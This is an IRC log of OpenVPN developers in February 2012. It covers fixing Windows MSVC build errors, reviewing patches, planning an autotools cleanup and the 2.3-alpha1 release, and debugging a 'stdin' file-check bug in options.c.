13:43 <+krzee> a bug in jjk's code... 13:43 <+krzee> so he IS human! 13:43 <@dazo> hahahaha :) 13:43 <@dazo> yeah, he is :) 13:43 <@mattock> only the coding part of him 13:43 <+krzee> lol 13:43 <@mattock> the OpenVPN knowledge part is a machine 13:43 <@mattock> :P 13:43 <+krzee> or as i once hypothesized, a large team of people 13:44 <+krzee> lol 13:45 <@dazo> krzee: well, it would be silly of him to show up with all of his clones at the same place :-P 13:46 <+krzee> ;] 14:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:44 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 15:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:18 -!- dazo is now known as dazo_afk 17:15 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:12 -!- raidz is now known as raidz_afk 19:54 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] --- Day changed Thu Feb 16 2012 01:01 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:01 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:38 < waldner> could this affect openVPN: https://www.eff.org/deeplinks/2012/02/researchers-ssl-observatory-cryptographic-vulnerabilities 02:38 <@vpnHelper> Title: Researchers Use EFFs SSL Observatory To Discover Widespread Cryptographic Vulnerabilities | Electronic Frontier Foundation (at www.eff.org) 03:01 -!- dazo_afk is now known as dazo 03:11 <@dazo> waldner: yes, weak keys (due to bad/predictable random numbers) can absolutely hit OpenVPN as well ... but that's the SSL layer, in other words, it's OpenSSL which is the culprit 03:12 <@dazo> of course, using tls-auth in addition will might reduce abuse possibilities in sense of MITM attacks ... but will not do anything in regards to making the data more protected for decryption 03:41 < waldner> it looks like the culprit is the SSL protocol itself, rather than the specific (ie openssl) implementation 03:41 < waldner> but I've only read it quickly 03:45 < waldner> ah, it's the RNG that generates weak data 03:45 < waldner> so it may well be the implementation's fault 03:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 04:00 <@d12fk> it's rather the use of too little real entropy/randomness when generating the RSA key pairs 04:00 <@d12fk> like: http://dilbert.com/strips/comic/2001-10-25/ 04:00 <@vpnHelper> Title: Dilbert comic strip for 10/25/2001 from the official Dilbert comic strips archive. (at dilbert.com) 04:03 <@d12fk> or: http://xkcd.com/221/ 04:03 <@vpnHelper> Title: xkcd: Random Number (at xkcd.com) 04:05 <@d12fk> i.e. if you seed your pseudo RNG with the unix timestamp or jiffies or whatever there's a very high probability that someone else on the world did just do the same thing 05:08 <@dazo> and it was the same issue which gave polarssl a security advisory last year, when using it in some virtualised environments ... the RNG source was too weak in some VM guest envs. 06:30 <@andj> just as confirmation: Frank is a colleague of mine who managed to get things fixed on his mac 06:43 <@d12fk> so this was just a semantic typo? 06:44 <@andj> yeah :( 06:44 <@andj> and an overzealous compiler that actually understood bool 06:44 <@d12fk> strange how gcc enforces it to be 0 or 1 on a mac 06:44 <@d12fk> well bool is kinda a C++ thing 06:45 <@andj> isn't it in c99? 06:45 <@d12fk> that might actually be tha case, yes 07:19 <@mattock> mkay, now to my favourite thing... building and testing OpenVPN on Windows 07:21 <@mattock> hmm, I wonder if OpenVPN on the build comp is unstable... it was down again 07:25 <@mattock> d12fk: do you think "openvpn-gui-20111130174916.exe" (latest) is suitable 2.3 alpha? 07:27 <@d12fk> oh you just take the latest binary and use that? 07:27 <@d12fk> let me see 07:29 <@d12fk> as always the latest is the greatest, but that one is alpha-worthy, just missing: 07:29 <@d12fk> correct Japanese about dialog caption 07:30 <@d12fk> replace "..." with ellipses 07:30 <@d12fk> support starting OpenVPN via interactive service 07:30 <@d12fk> fix resource leak in viewlog.c, closes #3485875 07:30 <@d12fk> with the interactive service we should update 07:31 <@d12fk> the resource leak has been there forever so no big pain there 07:33 <@mattock> ok, if you want to produce a new installer feel free :) 07:34 <@mattock> the release timetable depends on whether the Windows builds work properly, and if James signs 07:34 <@mattock> all the binaries in a timely fashion 07:34 <@mattock> including your GUI... although an unsigned GUI does not matter that much in an alpha release I think 07:52 <@dazo> andj: great! I'll get that patch in now 07:52 <@andj> dazo: Frank is trying to get a patch in git format out 07:52 <@dazo> andj: even better :) 07:56 <@mattock> hmm, we'll get OpenSSL 1.0.0g and lzo-2.06 in 2.3 alpha 07:57 <@mattock> I wonder what's relation with the "developers, developers, developers" shout out Ballmer made and 07:57 <@mattock> the pain of building on Windows 07:58 <@andj> I think that's related more closely to the ballmer peak: http://xkcd.com/323/ 07:58 <@vpnHelper> Title: xkcd: Ballmer Peak (at xkcd.com) 07:58 <@dazo> mattock: maybe Balmer had just tried building something before that performance? .... but he never got any further in his talk ... he wanted to continue with "... you need to fix this crap" :-P 07:59 <@dazo> andj got a good point too :) 07:59 <@mattock> :D 08:00 <@mattock> anyways, I'm slowly but surely generating the first pre-2.3-alpha1 installer 08:00 <@dazo> mattock: let's wait until I get the final patch from Frank 08:01 * andj had better get cracking on the PolarSSL 1.1 support :( 08:01 <@mattock> hence _pre_ 2.3-alpha1 :P 08:01 <@dazo> ahh! :) 08:01 * dazo didn't notice the pre prefix :-) 08:01 <@mattock> I assume Frank's patch won't affect Windows much? 08:01 <@mattock> meaning, I don't have to smoketest is again when building the official 2.3-alpha1 installer 08:01 <@dazo> not directly ... but depends on how the VS compiler treats int vs bool 08:01 <@andj> It's a mac issue, haven't seen it on my Windows tests 08:02 <@andj> dazo: works fine 08:02 <@dazo> okay .... well, I'd like to have that patch into the 2.3-alpha1 :) .... then it should work properly on all platforms :) 08:03 <@dazo> andj: much work for the polarssl 1.1 support? 08:04 <@dazo> (and there it arrived) 08:04 <@andj> I've got the patches for 2.1.4 08:04 <@andj> But need to port them/make them a little more friendly 08:04 <@dazo> ahh 08:05 <@andj> Not sure if I can find the time before this weekend though, it's busy at work 08:05 <@dazo> no worries ... polarssl isn't something which is too common upstream yet .... but it'll hit a later alpha/beta release, and that's fine for me 08:06 <@dazo> andj: btw ... did you see that a guy is doing openvpn snapshots with polarssl for openwrt? 08:07 <@andj> yeah, and not backporting his fixes upstream :( 08:07 <@andj> But that's awesome though :) 08:08 <@dazo> yeah, I think he understood we're keen on getting upstream fixes by now :) to be fair, if he tried to do that earlier on (before the community development really was in shape), I can understand he didn't bother 08:09 <@mattock> misc.h gives tons of errors on lines 164-167 08:09 <@dazo> mattock: can you pastbin them? 08:09 <@mattock> yep, takes a while 08:10 * dazo suspects those warnings are related to 71bbbd76c62630c88441237d72fe5b61f0b45b2a 08:11 * dazo pokes d12fk 08:12 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 08:12 -!- mode/#openvpn-devel [+o cron2] by ChanServ 08:13 <@mattock> http://pastebin.com/hkrWtDX1 08:13 <@mattock> we definitely need a Windows buildslave 08:14 <@mattock> that's my next project after 2.3-alpha1 and connectivity test integration 08:14 <@mattock> windows builds are broken 50% of the time or more 08:14 <@dazo> w00t!?!? that's really nice warnings ...... 08:15 <@dazo> d12fk: do you think you would have time to dig into these issues? mattock can probably grant you access to the windows build box with VS ready 08:16 <@dazo> (otherwise, I might first be able to look at this late today or tomorrow, or the weekend) 08:16 <@mattock> actually, d12fk already has a user account there 08:18 <@dazo> nice! :) 08:19 <@dazo> anyhow, with this fixed ... I'm feeling we're in good shape for 2.3-alpha1 08:21 <@vpnHelper> RSS Update - testtrac: Fixed wrong return type of cipher_kt_mode <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=6449a149f850e9e1207233f3ca642d9342fbfbaf> 08:23 <@mattock> d12fk: the Windows build directory should be setup for you (c:\users\d12fk\openvpn-build 08:23 <@mattock> go there, and the to openvpn\win 08:23 <@mattock> and then run "python build_all.py -u -n" to build 08:23 <@mattock> and "python build.py clean" to clean up before/after 08:30 <@mattock> you can use the Git Bash to update the sources in unixy fashion, e.g. 08:30 <@mattock> cd /c/users/d12fk/openvpn-build/openvpn 08:30 <@mattock> git pull --rebase origin 08:30 <@d12fk> i think it's just a matter of msvc not knowing about mode_t 08:31 <@mattock> it does not seem to know about a lot of stuff :D 08:31 <@d12fk> these are followup errors i guess 08:32 <@d12fk> yeah its an int in windows 08:33 <@d12fk> my bad, mingw gluecode to blame directly after me 08:33 <@d12fk> i'll post a fix 08:35 <@dazo> d12fk: cool, thx! 08:36 <@d12fk> mattock: could you manually change the first "mode_t" in misc.h to "int" (the one for TARGET_WIN32) and also the one in win32.c 08:37 <@d12fk> that way we can make sure that the intended patch works 08:37 <@mattock> ok 08:38 <@dazo> mattock: thx for the wikification! 08:39 <@mattock> np, I think I put a link here earlier, so it's old news actually :) 08:39 <@d12fk> mattock: i kinda lost the host name for the windows build host 08:45 <@mattock> I changed the mode_t to int (in two places in the WIN32 block and it seemed to help but there are still some errors 08:45 <@d12fk> ok pastebin again 08:46 <@mattock> ah, win32.c also 08:46 <@d12fk> where did you change it in two places then if not in win32.c? 08:47 <@mattock> there were two mode_t entries in misc.h (lines 161 and 164) and one in win32.c (line 1067) 08:48 <@mattock> now it complains about buffer.c, I'll pastebin 08:48 <@d12fk> yeah, that'll work for testing 08:49 <@d12fk> ok 08:55 <@mattock> finally: http://pastebin.com/cngnM1cV 08:59 <@d12fk> $ git blame buffer.c|grep -i 326 08:59 <@d12fk> bee92b47 (Adriaan de Jong 2012-02-05 12:51:25 +0100 326) struct gc_entry *e; 08:59 <@d12fk> seems andj's patch broke buffer for msvc 08:59 <@dazo> andj gets his share of blame these days :-P 09:00 <@d12fk> but there's more of course =) 09:00 <@dazo> :) 09:01 <@d12fk> seems #ifdef TARGET_WIN32 is false for msvc builds 09:02 <@d12fk> i think misc.h is missing a #include "syshead.h" 09:04 <@d12fk> don't get it.. it's #included befoe misc.h in win32.c 09:05 <@d12fk> hrg, it's config.h only... 09:05 * d12fk feels the pain of having two separate build systems 09:06 <@d12fk> what to do about that? 09:06 <@d12fk> get rid of TARGET_WIN32 all together 09:07 <@d12fk> or define it in the python buildsys 09:14 <@d12fk> as i'm the only one who ever used it i lean towards using WIN32 instead of TARGET_WIN32 09:16 <@d12fk> mattock: i'm gonna mail you patches, you can apply the mail with git am directly on the build host 09:17 <@mattock> ok, nice! 09:17 <@d12fk> no idea about th ebuffer.c one though 09:17 * cron2 seconds s/TARGET_WIN32/WIN32/ 09:17 <@dazo> makes sense for now ... TARGET_WIN32 makes more sense, in a autotools mindset though ... but lets fix that afterwards 09:17 <@d12fk> that was my train of thought, turns out thinking is overrated =) 09:21 <@d12fk> may even be causes by the misc.h weirdness, lets try 09:23 <@dazo> heh ... it's so much weirdness ... so too little and too much thinking always causes problems ... the thing is, you never know when you've been thinking too much or too little ;-) 09:24 * dazo feels happy about his changes to the Bridging and Routing wiki page now :) 09:24 <@d12fk> this time i choose not to think about this =) 09:25 <@dazo> heh :) 09:33 <@d12fk> mattock: mail on it's way to you ovpn mailbox 09:35 <@d12fk> and it even still compiles with mingw *caugh* 09:36 <@dazo> d12fk: you said that too early ... you should be sure it compiles in VS first :-P 09:37 <@mattock> mkay, I'll test it 09:38 <@d12fk> haha, yeah sure go on picking on the poor windows guy =) 09:38 <@mattock> who, me? 09:38 <@mattock> I fit the description at least 09:40 <@dazo> mattock: you are our Windows guy ... like it or not ;-) 09:41 <@dazo> but you share that position with d12fk ;-) 09:41 <@mattock> yeah, brothers in arms 09:41 <@dazo> :) 09:41 <@mattock> don't they say stressful experiences bond people together? :) 09:41 <@mattock> not sure about this, though... it's mostly just stressful 09:42 <@mattock> :D 09:42 * dazo wonders what he is then ... the man with the whip? :-P 09:45 <@dazo> from a different IRC channel .... 09:45 <@dazo> <jkacur> one thing about open source, it's not just about building something cool, it's about making sure other people don't come in and mess it up 09:45 <@dazo> <magey> that sounds much harder than building something cool 09:45 <@dazo> <jkacur> I'm more of a messer-upper than a guard so, I wouldn't know. 09:45 <@dazo> <jkacur> :) 09:46 <@mattock> still some errors in buffer.c, pastebinning 09:48 <@mattock> http://pastebin.com/Qg90Jsks 09:49 <@mattock> d12fk: if you want to test this yourself, feel free to kick me out of the build comp 09:50 <@mattock> I gotta do some other stuff now 09:52 <@d12fk> buffer.c doesnt know about struct gc_entry obviously 09:52 <@d12fk> buffer.c(326) : error C2143: syntax error : missing ';' before 'type' 09:53 <@d12fk> 326: struct gc_entry *e; 09:54 <@d12fk> but how does that make sense 09:56 <@cron2> dazo: well, in open-source it's obvious *who* messed it up. In closed-source, it's messed up as well, but hidden behind, uh, closed-source-ness and "have to ship it now!" managers... 09:57 <@cron2> d12fk: might be a missing ";" in the line before that (macro expansion failing or such) 09:57 <@dazo> cron2: true ... it's kind of not so easy to get accept for statements like "Microsoft messed up Windows!" 09:57 <@d12fk> ah maybe msvc enforces c89 declarations 09:57 <@d12fk> theres an ASSSERT in the line before 09:57 <@dazo> d12fk: I think it does 09:57 <@d12fk> ill try 09:59 <@andj> /quit 10:11 <@d12fk> yeah that was it. how picky of the compiler 10:11 <@d12fk> next stop: linker errors 10:14 <@mattock> it didn't even kick me out 10:14 <@mattock> it's server 2008r2, though 10:14 <@mattock> development version if I'm not mistaken 10:15 <@d12fk> ah servers let several ppl in 10:55 <@d12fk> stat on windows is terrorizing me 10:55 <@d12fk> uglyness ahead 11:15 <@d12fk> ok now it builds with msvc 11:15 <@d12fk> having a buildsystem helps =) 11:15 <@d12fk> patches go to the list in 10 11:27 -!- raidz_afk is now known as raidz 11:48 * dazo expects a rant from alon on the TARGET_WIN32 -> WIN32 patch ... about that our build tools are crappy and needs to be fixed 11:49 <@cron2> well, lean back, smile, and watch the expected events :-) 11:50 <@dazo> hehehe :) 11:50 <@dazo> d12fk: thx a lot for your quick fixes!! 11:51 <@dazo> cron2: was that ack of yours only for patch 4/4 ... or all of them? 12:19 <@cron2> that was for 4/4, I'm still looking at the other ones 12:19 <@cron2> the _wstat() thingie: will it still build with mingw with that change? 12:24 <@dazo> cron2: I believe d12fk tested that already 12:24 <@cron2> ok 12:24 <@cron2> we know where he works if he didn't...! 12:25 <@dazo> hehe :) 12:25 <@dazo> and we know their product depends on their own mingw builds ;-) 12:29 <@cron2> ack on 1,2,4, semi-ack on 3 12:29 <@cron2> ack-with-style-nag 12:31 <@dazo> cron2: I agree with the comment on the 3rd one 12:32 <@dazo> just wondering if I should do a dirty step ... and 'fix-it-on-the-fly' when applying it 12:32 < ecrist> i don't think that's appropriate. 12:32 <@dazo> well, I would make a note about it in the commit log 12:33 < ecrist> i don't think that's appropriate. 12:33 <@cron2> well, you could send a patch 3/4 v2, I could ACK that, and acknowledge d12k's work as well 12:33 <@dazo> I'll do that ... as d12fk seems to be gone for the day 12:33 <@cron2> ecrist: of course it would need to be open on the list, and anyone NAKs it, it would not happen 12:37 <@dazo> cron2: what about to call it compat_stat_t ? 12:37 <@dazo> as it's not really a openvpn thingy 12:37 <@cron2> well, since the function is openvpn_stat()... 12:38 <@dazo> okay, I'm sold ... openvpn_stat_t it is 12:42 <@cron2> there Alon is... 12:44 < ecrist> that's be fine 12:44 < ecrist> I've got a problem with ACK followed by changes, before commit 12:44 < ecrist> call me pedantic 12:45 * cron2 calls ecrist a pedantic (he asked for it!) 12:47 < ecrist> heh 12:47 <@cron2> but besides that, I agree :) 12:48 <@dazo> I'll give alon a point for the comments in 2/4 12:50 <@dazo> cron2: you got a v2 12:50 <@cron2> dazo: so do I, I was thinking of adding a typedef int mode_t; somewhere in there (but not fiddle with autoconf) 12:51 <@dazo> I would honestly like to revamp the whole autoconf stuff 12:51 <@dazo> now with RHEL4 out of support, I suppose RHEL5 is the oldest James can accept ... which gives a lot more sensible autoconf tools 12:52 * cron2 doesn't know anything about autoconf, but would welcome something which would find lzo.h on BSDs without manually telling configure "hey, it's there where it gets installed by port/pkg!" 12:52 < ecrist> cron2++ 12:53 <@dazo> such things *is* possible to fix ... but I think the best is to scrap what we have and build it up again 12:53 <@dazo> it's too much old cruft to support old autotools versions 14:53 -!- dazo is now known as dazo_afk 14:58 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:17 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:18 -!- raidz is now known as raidz_afk 19:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri Feb 17 2012 00:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:02 -!- raidz_afk is now known as raidz 02:03 -!- raidz is now known as raidz_afk 02:16 <@mattock> +1 for crapping all old stuff 02:16 <@mattock> the more the better 02:32 <@d12fk> morning 02:33 <@d12fk> alon went to townon the thread =) 02:33 <@d12fk> mostly wrong though, i'll correct him >=)> 02:33 <@d12fk> and i forgot the one patch for buffer.c, will follow right wawy 02:41 <@mattock> I'll try rebuilding and packaging later today 03:12 <@d12fk> the stuff is not merged yet 03:14 -!- dazo_afk is now known as dazo 03:14 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:15 <@dazo> d12fk: cron2: I've had a private mail discussion with Alon since yesterday ... Alon will help us to clean up the autotools cruft we have 03:16 <@dazo> In that process we will move out the easy-rsa and python windows build and installer stuff into a separate tree ... purifying the openvpn source code 03:17 <@dazo> and we need to look more into why we want the windows tap driver in the openvpn source tree ... I'd really like to move that into a separate source tree as well 03:19 <@d12fk> is there room for discussion on why we need two build systems at all 03:19 <@dazo> I don't know why James wanted it ... but he is the one who did that job 03:20 <@dazo> and by moving it out of the openvpn source tree, we make openvpn purely autotools oriented ... and people wanting a way to build with MSVS, can then pull down the other tree to get the needed tools for it 03:21 <@d12fk> ...and discover that it doesn't build HEAD =( 03:23 <@dazo> yeah, true enough ... but that problem we already have ... we need to build on both systems anyway 03:24 <@d12fk> i wonder if cmake would come in handy for that. 03:24 <@dazo> I see no disadvantage in having a possibility to easily build on more platforms (like MSVS) ... so we might always have this issue 03:25 <@dazo> I don't know ... cmake has a lot of nice features ... but it's just a different can of worms from my experience 03:25 <@d12fk> despite the fact that nobody knows anything about it 03:25 <@dazo> I'm using it in eurephia ... because I thought the learning curve was not as steep as for autotools 03:26 <@dazo> but I've done more autotools later on ... and it's really just as complex, just harder to find good references for cmake 03:27 <@dazo> the only advantage cmake gives over autotools ... is that cmake can do windows natively ... autotools does not 03:27 <@d12fk> thats why i brought it up 03:27 <@dazo> (autotools requires cygwin or msys) 03:28 <@d12fk> mingw actually 03:28 <@dazo> to be honest, I believe it's less troubles/challenges with the python build tools we have now for windows ... and for all other platforms, there's autotools which does the job well - when maintained well 03:28 <@dazo> (and the maintenance Alon will help out with now) 03:30 <@d12fk> lets hope that'll work out 03:32 <@dazo> I don't agree in everything Alon says, but he does have many good arguments and thoughts which I do agree to too ... so I'm just trying to get him more involved. Having him providing patches instead of just complaining and NACKing on the ML is much more productive 03:53 <@d12fk> that is true, lets see if he willl deliver =) 03:53 <@d12fk> oh and maybe drag him in here as well if hes contributing 03:54 <@d12fk> dazo: have you seen the patch from today 03:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 03:54 <@dazo> alon is not happy about irc ... so I doubt he'll be here ... but agreed, it would be cool to have him here :) 03:55 <@dazo> d12fk: yeah I saw it 03:56 <@dazo> d12fk: I'll pull in all these patches today ... and hope mattock or you can do a final test build on windows ... then I'll tag the tree 03:58 <@d12fk> so, you merge and we'll do build on msvc again? 03:58 <@dazo> yupp 03:59 <@dazo> give me 30 min :) 04:03 <@d12fk> oh man, now i really think it's a mistake to give alon rope 04:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:04 <@dazo> hehehe 04:04 <@d12fk> have you rwad his replies? 04:04 <@d12fk> rwad 04:04 <@dazo> I did :) 04:04 <@d12fk> read damn =) 04:04 <@d12fk> he the king of the ovpn kingdom already 04:04 <@dazo> well, it's open source ... and he will be expected to post all his patches to the ML :) 04:04 <@d12fk> guess what happens when his first patch gets nerged 04:05 <@dazo> look carefully on the commit history .... you'll see he is already there ;-) 04:05 <@dazo> (even though ages ago, though) 04:05 <@d12fk> hrhr 04:06 <@d12fk> just saying that ppl like him with voice scare other ppl away 04:06 <@dazo> the thing is, alon did offer james to clean up autotools a long time ago ... probably before I got active .... and nothing happened 04:06 <@d12fk> nother ever happened with james 04:06 <@d12fk> an experience we all made 04:06 <@dazo> yeah 04:06 <@d12fk> and that is not an excuse to be alon-like 04:07 <@dazo> alon is alon ... and we know it ... he'll get a little slack, but I also trust cron2, mattock and you to be visible if you disagree on the ML :) 04:07 <@dazo> that's how open source works :) 04:08 <@dazo> git trees pushed 04:11 <@vpnHelper> RSS Update - testtrac: move variable declaration to top of function <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=21658881789f53d781fc7ce85c5da578abc6c413> || make MSVC link against shell32 as well <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=67fe36f888d72d2c9c2b8dac849159a229400367> || use the underscore version of stat on Windows <http:/ 04:11 <@dazo> d12fk: mattock: if you can try to do a final windows build from master now ... then I'm ready to tag the tree 04:15 <@dazo> crap! 04:15 <@dazo> I need to force a new push :/ 04:16 <@dazo> ahh ... no, I don't .... my terminal fooled me! 04:20 * dazo finds mattock very silent today .... maybe he is still in chock of the mails he was Cc'd on between alon and himself 04:21 * dazo imagines mattock screaming out in the forest close to him: "Dazo, no!! you didn't do that!! no! no! no!" :-P 04:23 <@d12fk> everything builds fine 04:23 <@dazo> \o/ 04:23 <@d12fk> alpha time! 04:23 * dazo goes to tag :) 04:23 <@dazo> that's going to be a hell of a changelog :) 04:24 <@mattock> yep, been busy doing other stuff 04:24 <@mattock> I'll test the msvc-built binaries after lunch 04:25 <@mattock> dazo: did you tag the tree already? 04:25 <@mattock> or still wip? 04:26 <@dazo> mattock: not yet ... preparing the changelog now ... then I'll wait for a final go after your testing 04:26 <@mattock> ah, good 04:28 <@mattock> expect test results in ~2 hours 04:28 <@mattock> or a little less maybe 04:31 * dazo takes freedom to edit cron2's entries from the commit log in the changelog .... as in the beginning - they weren't very "gitish formatted" 04:44 <@cron2> mornin 04:51 <@cron2> dazo: yeah, fine with me. My commit logs usually don't reflect what I'd put into a ChangeLog 04:51 <@cron2> (different focus) 04:51 <@dazo> :) 04:51 <@dazo> cron2: if you have the first line in the commit log be what you would like as a ChangeLog summary (on reasonably short line) ... then git shortlog creates nice changelogs for us, very simple :) 04:57 <@dazo> Just see the changelog ... 2002.03.23 -- Version 1.0 04:58 <@dazo> soon 10 years since first stable 05:12 <@dazo> okay ... I found one more autotools issue ... when testing 'make dist' 05:15 <@dazo> okay ... we have more issues with autotools now :-P 05:15 * dazo starts fixing 05:17 <@cron2> what have you broken this time? :-o 05:17 <@dazo> ssl_common.h was missing in Makefile.am 05:17 <@cron2> so dependencies were not right, or packaging the tarball failed? 05:17 <@dazo> make distcheck failed .... which creates a tarball, unpacks it and does a build from that tarball 05:18 <@cron2> good feature, this... (mattock: we should have one of the linux based buildbot instances do this...!) 05:28 <@dazo> oh my ..... I did 'git log --stat --follow ssl_common.h' .... and didn't understand why it pulled in commits from James in log .... until I saw this line: 05:28 <@dazo> helper.h => ssl_common.h | 19 +++++++++++-------- 05:28 <@dazo> it detected it as a file rename 05:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:21 <@mattock> ok, lunch ended finally :P 06:22 <@mattock> I'll review the interesting discussion on the ml first and then test the windows installer 06:23 <@dazo> just pushed out two more patches ... autotools related 06:23 <@dazo> mattock: beware, some of the discussion with alon is not on the ML 06:23 <@dazo> (but I put you on Cc) 06:24 <@mattock> ok 06:24 <@vpnHelper> RSS Update - testtrac: Makefile.am was missing ssl_common.h <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=5e1e5495328bb491a186d72544d2e57f49dfdedc> || Makefile.am referenced a now non-existing config-win32.h <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ec3a7814d436076a442979ec656d3e8431d55d73> 06:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:16 <@mattock> interesting discussion, responded to Alon 07:17 <@mattock> I'll build the installer now 07:17 <@mattock> I hope Alon gets to work, the buildsystem mess needs to be taken care of 07:18 <@cron2> mattock: have you seen my suggestion to have one of the linux buildslaves run "make distcheck" as well? 07:18 <@mattock> cron2: yeah, makes sense 07:19 <@mattock> -> TODO 07:19 <@cron2> that would help us find file moved -> autotools omitted things quicker 07:19 <@mattock> one builder only I assume? 07:19 <@cron2> how many 1000s of lines is your TODO file now? 07:19 <@mattock> not too many 07:19 <@mattock> I purge old stuff when it's obsolete :D 07:19 <@mattock> not the really important stuff obviously 07:19 <@cron2> I think one build is sufficient, this is not really system dependent, but some weird autotools version on one of the builders might cause spurious breakage 07:20 <@mattock> two builders maybe... one modern and one old and clunky? 07:21 <@mattock> e.g. Debian 5 vs. latest Fedora/Ubuntu 07:22 <@dazo> mattock: would be good to get a SL5 build box up'n'running ... as that'll be our "oldest" supported distro 07:22 <@mattock> or CentOS 5? 07:23 <@dazo> it's basically the same ... I just don't trust CentOS developers as much as I trust CERN people :) 07:24 <@dazo> (both take RHEL source packages, strips RH branding, compiles and package it again) 07:24 <@mattock> built fine 07:24 <@dazo> so I can tag the tree? 07:24 <@mattock> the problem with SL is that by default tons of crap is installed 07:24 <@mattock> not yet, I'll smoketest the installer quickly to see if there are any runtime problems 07:25 <@dazo> I've not tried SL5, only SL6 ... but their minimal install, is slick :) 07:25 * dazo goes for lunch 07:26 <@mattock> installer built just fine, now to testing... 07:28 <@mattock> http://build.openvpn.net/downloads/snapshots/openvpn-2.3-alpha1-preview-1-install.exe 07:28 <@mattock> funny name 07:34 <@cron2> cool 07:36 <@mattock> OpenVPN GUI gives errors when reading password from a file: "options error: --management user/password file fails with 'stdin': No such file or directory" 07:36 <@mattock> worked before 07:36 <@mattock> any pointers? enable password save is built in 07:39 <@mattock> I'll RTFM if that helps... 07:41 <@cron2> "stdin" is special. Maybe dazo's "does this file exist?" checks do not cover the case of --management? 07:41 <@cron2> there's an exception for "do not check for a file named 'stdin'" in othre places 07:46 <@mattock> interestingly the binary crashes if run from the command line 07:48 <@mattock> I wonder if this is really fixed: https://community.openvpn.net/openvpn/ticket/190 07:48 <@vpnHelper> Title: #190 (OpenVPN built from "master" fails to start) – OpenVPN Community (at community.openvpn.net) 07:53 <@cron2> any specific error? 07:53 <@mattock> nope 07:54 <@mattock> on win7-amd64 the GUI prints out the --management error I showed 07:54 <@mattock> on winxp-i386 it prints the error _and_ openvpn.exe crashes 07:55 <@mattock> argh, need to do some cleaning up on winxp 07:56 <@mattock> probably proXPN which I tested some time ago is messing things up 07:57 <@mattock> yep, that was it 07:58 <@mattock> still the same behaviour though 07:59 <@mattock> I'll do some debugging on Visual Studio 08:07 <@mattock> http://pastebin.com/vXDriFvS 08:07 <@mattock> misc.c, openvpn_access function 08:07 <@dazo> mattock: I see it's probably the same issue as with the other options 08:07 <@dazo> stdin interpreted as a file name 08:09 <@dazo> diff --git a/options.c b/options.c 08:09 <@dazo> index 43e9e27..d3ad84d 100644 08:09 <@dazo> --- a/options.c 08:09 <@dazo> +++ b/options.c 08:09 <@dazo> @@ -2694,8 +2694,10 @@ options_postprocess_filechecks (struct options *options) 08:09 <@dazo> "--askpass"); 08:09 <@dazo> #endif /* USE_SSL */ 08:09 <@dazo> #ifdef ENABLE_MANAGEMENT 08:09 <@dazo> - errs |= check_file_access (CHKACC_FILE, options->management_user_pass, R_OK, 08:09 <@dazo> - "--management user/password file"); 08:09 <@dazo> + if( options->management_user_pass_file 08:09 <@dazo> + && strcmp(options->management_user_pass_file, "stdin") != 0 ) 08:09 <@dazo> + errs |= check_file_access (CHKACC_FILE, options->management_user_pass, R_OK, 08:09 <@dazo> + "--management user/password file"); 08:09 <@dazo> #endif /* ENABLE_MANAGEMENT */ 08:09 <@dazo> #if P2MP 08:09 <@dazo> if( options->auth_user_pass_file && strcmp(options->auth_user_pass_file, "stdin") != 0 ) 08:09 * dazo was too lazy to pastbin 08:09 <@dazo> whoops ... maybe I should have compiled it first :-P 08:10 <@dazo> okay ... this compiles ... http://www.fpaste.org/RNg2/ 08:11 <@dazo> mattock: care to take that patch for a walk? 08:12 <@mattock> yeah, I can try that one, then I got to visit the post office before the mail is sent (~45mins) 08:13 <@dazo> no worries :) I can wait 08:20 <@mattock> built ok 08:21 <@mattock> surprising how difficult life is without wget 08:22 <@dazo> :) 08:22 <@dazo> or curl 08:23 <+krzee> or fetch 08:23 <@mattock> did not seem to help 08:23 <@mattock> still fails on the same line 08:24 <@dazo> huh!? ... nasty ... can you get a back trace? which function calls openvpn_access() = 08:24 <@dazo> (and which line in that function?) 08:24 <@mattock> probably, after I get back 08:24 